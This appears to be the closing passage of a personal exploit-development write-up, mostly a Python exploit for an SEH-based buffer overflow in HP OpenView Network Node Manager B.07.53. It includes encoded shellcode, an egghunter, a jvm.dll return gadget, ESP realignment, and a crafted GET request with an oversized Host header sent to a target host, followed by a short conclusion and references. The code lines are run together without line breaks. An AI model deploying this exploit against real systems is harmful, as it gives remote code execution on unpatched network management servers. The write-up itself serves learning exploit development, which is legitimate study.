55\x55\x55\x50\x25""\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x44\x64\x6b\x2d\x38\x44\x64\x6b\x2d\x38\x46\x65""\x6d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x29\x5b\x4f\x39\x2d\x29\x5b\x4f\x39\x2d""\x2b\x5d\x50\x39\x50")initial_buff=egg_marker+esp_setup_shellcode+encoded_shellcode+"A"*(len(initial_buff)-len(egg_marker)-len(esp_setup_shellcode)-len(encoded_shellcode))# 1035FE34 48 DEC EAX# 1035FE35 48 DEC EAX# 1035FE36 77 04 JA SHORT 1035FE59# little endian format: "\x4c\x4c\x77\x04" ==> bad char friendlynseh="\x48\x48\x77\x04"# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:# False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP# OpenView\jre\jreActive\bin\client\jvm.dll)seh=(0x6d6e394a.to_bytes(4,'little')).decode('ISO-8859-1')# setting up ESP dynamically to bypassing ASLR protection# 2216FDF0 58 POP EAX# 2216FDF8 66:05 2C01 ADD AX,12C# 2216FDF6 50 PUSH EAX# 2216FDF7 5C POP ESPesp_setup="\x58\x66\x05\x2c\x01\x50\x5c"# !mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s# 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7encoded_egghunter=("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25""\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a""\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d""\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e""\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55""\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25""\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35""\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")# replaced the "D" buffer with "A" buffer to protect from ESP corruption because D will be interpreted as INC ESPbuff_last="A"*(total_len_buff-len(initial_buff)-len(nseh)-len(seh)-len(esp_setup)-len(encoded_egghunter))crash=initial_buff+nseh+seh+esp_setup+encoded_egghunter+buff_last# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] sent buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
If windows firewall is enabled, add the ovas.exe into the program’s exceptions`.
Otherwise, during the script execution, the payload does not get executed due to an exception.
Conclusion
At the end of my journey, I found my final exploit code was turned out entirely different from mutsEDB-ID #5342.
The reason was, B.07.53 release validates the length of GET request, which restricted me from delivering the payload the way muts did.
References
DEFCON #16: BackTrack Foo - From bug to 0day by Mati Aharoni